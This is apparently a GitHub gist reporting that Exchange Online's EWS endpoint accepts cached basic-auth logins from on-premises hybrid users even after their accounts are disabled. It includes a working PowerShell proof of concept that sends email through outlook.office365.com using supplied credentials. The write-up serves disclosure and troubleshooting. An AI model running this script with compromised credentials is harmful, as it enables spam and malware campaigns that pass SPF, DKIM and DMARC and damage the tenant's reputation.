Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
EWS onprem use of cloud servers for hybrid tenants
In an exchange hybrid environment without password sync. ADFS is the gate keeper for access.
On-premises email enabled users accounts for some reason are able send email via EWS protocol on the outlook.office365.com servers
Under normal circumstances the auto discovery for an on-premises user would not use outlook.office365.com, but some apps bypass auto discovery when a connection failed. This is very apparent in BlueMail that will try every known endpoint and protocol until it finds one that works.
Office 365 EWS does not require modern auth and cashes credentials making troubleshooting the ADFS portion of this what allows and what does not somewhat time consuming
Once a proxied authentication is cashed even a disabling the account in AD or shutting off the on-premises ADFS server will not stop the user from authenticating and sending email.
On-premises the CAS settings have been set to disable EWS, this is not honored by Office 365 and cant be set on office 365 for on-premises mailboxes.
Email sent using EWS via outlook.office365.com will flow oultlook.com > Exchange Edge server > Exchange on-premises server > Edge MTA > gmail and pass DMARC/SPF/DKIM or outlook.com > Exchange Cloud mailboxes in that tenant and look internal.
A malicious user or bad actor with compromised credentials could send an email malware/spam campaign to any email user, inside or outside the tenant. Causing reputation damage for the hybrid customer, and possible legal risk.
There seems to be no way to stop this
I have created a proof of concept PowerShell and mimics the process used by bluemail to talk to EWS
#Edit as needed
$ToName = 'Joe sixpack'
$ToEmail = 'externalemail@gmail.com'
$Subject = 'P0wned'
if (-not ($cred)) {$cred = Get-Credential -Message 'onprem user UPN'}
#do not edit below this line
$date = get-date -UFormat '%a, %d %b %Y %T -0500'
$senderdomain = $cred.UserName -split "@" | select -last 1
$url = 'https://outlook.office365.com/EWS/Exchange.asmx'
$guid = new-guid
$message = @"
User-Agent: PowerShell
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----P5VZ9BA43ZMGIR2FZHRJ7529KJ8LBN"
Content-Transfer-Encoding: 7bit
Subject: $subject
Date: $date
To: $ToName <$ToEmail>
Message-ID: <$guid@$senderdomain>
X-Local-Message-Id: <$guid@$senderdomain>
------P5VZ9BA43ZMGIR2FZHRJ7529KJ8LBN
Content-Type: text/plain;
charset=utf-8
Content-Transfer-Encoding: quoted-printable
=E2=81=A3Sent from Powershell =E2=80=8B
------P5VZ9BA43ZMGIR2FZHRJ7529KJ8LBN
Content-Type: text/html;
charset=utf-8
Content-Transfer-Encoding: quoted-printable
<div dir=3D"auto"><br><br></div>
<div dir=3D"auto"><!-- tmjah_g_1299s -->Se=
nt from <!-- tmjah_g_1299e --><!-- tmjah_g_1299s --><a href=3D"http://www=
=2Emicrosoft=2Ecom/powershell">Powershell</a><!-- tmjah_g_1299e --><!-- tmjah_g_12=
99s --> <!-- tmjah_g_1299e --></div>
------P5VZ9BA43ZMGIR2FZHRJ7529KJ8LBN--
"@
#$encodedMessage = [System.Convert]::ToBase64String([System.Text.Encoding]::UNICODE.GetBytes($message))
$bytes = [System.Text.Encoding]::ASCII.GetBytes($message)
$encodedMessage = [System.Convert]::ToBase64String($bytes)
$body = @"
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"><soap:Header><t:RequestServerVersion Version="Exchange2013"/></soap:Header><soap:Body><CreateItem MessageDisposition="SendAndSaveCopy" SendMeetingInvitations="SendToNone" xmlns="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"><Items><t:Message><t:MimeContent CharacterSet="UTF-8">$encodedMessage</t:MimeContent><t:Subject>$subject</t:Subject><t:ReminderIsSet>false</t:ReminderIsSet><t:ToRecipients><t:Mailbox><t:Name>$toName</t:Name><t:EmailAddress>$toEmail</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></Items></CreateItem></soap:Body></soap:Envelope>
"@
$usercred = "$($cred.username):$($cred.GetNetworkCredential().password)"
$bytes = [System.Text.Encoding]::ASCII.GetBytes($usercred)
$encodedCred = [System.Convert]::ToBase64String($bytes)
$headers = @{
Authorization = "Basic $encodedCred"
}
Invoke-WebRequest -Uri $url -Body $body -ContentType 'text/xml; charset=utf-8' -UserAgent 'My amazing PowerShell App' -Method Post -Headers $headers
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment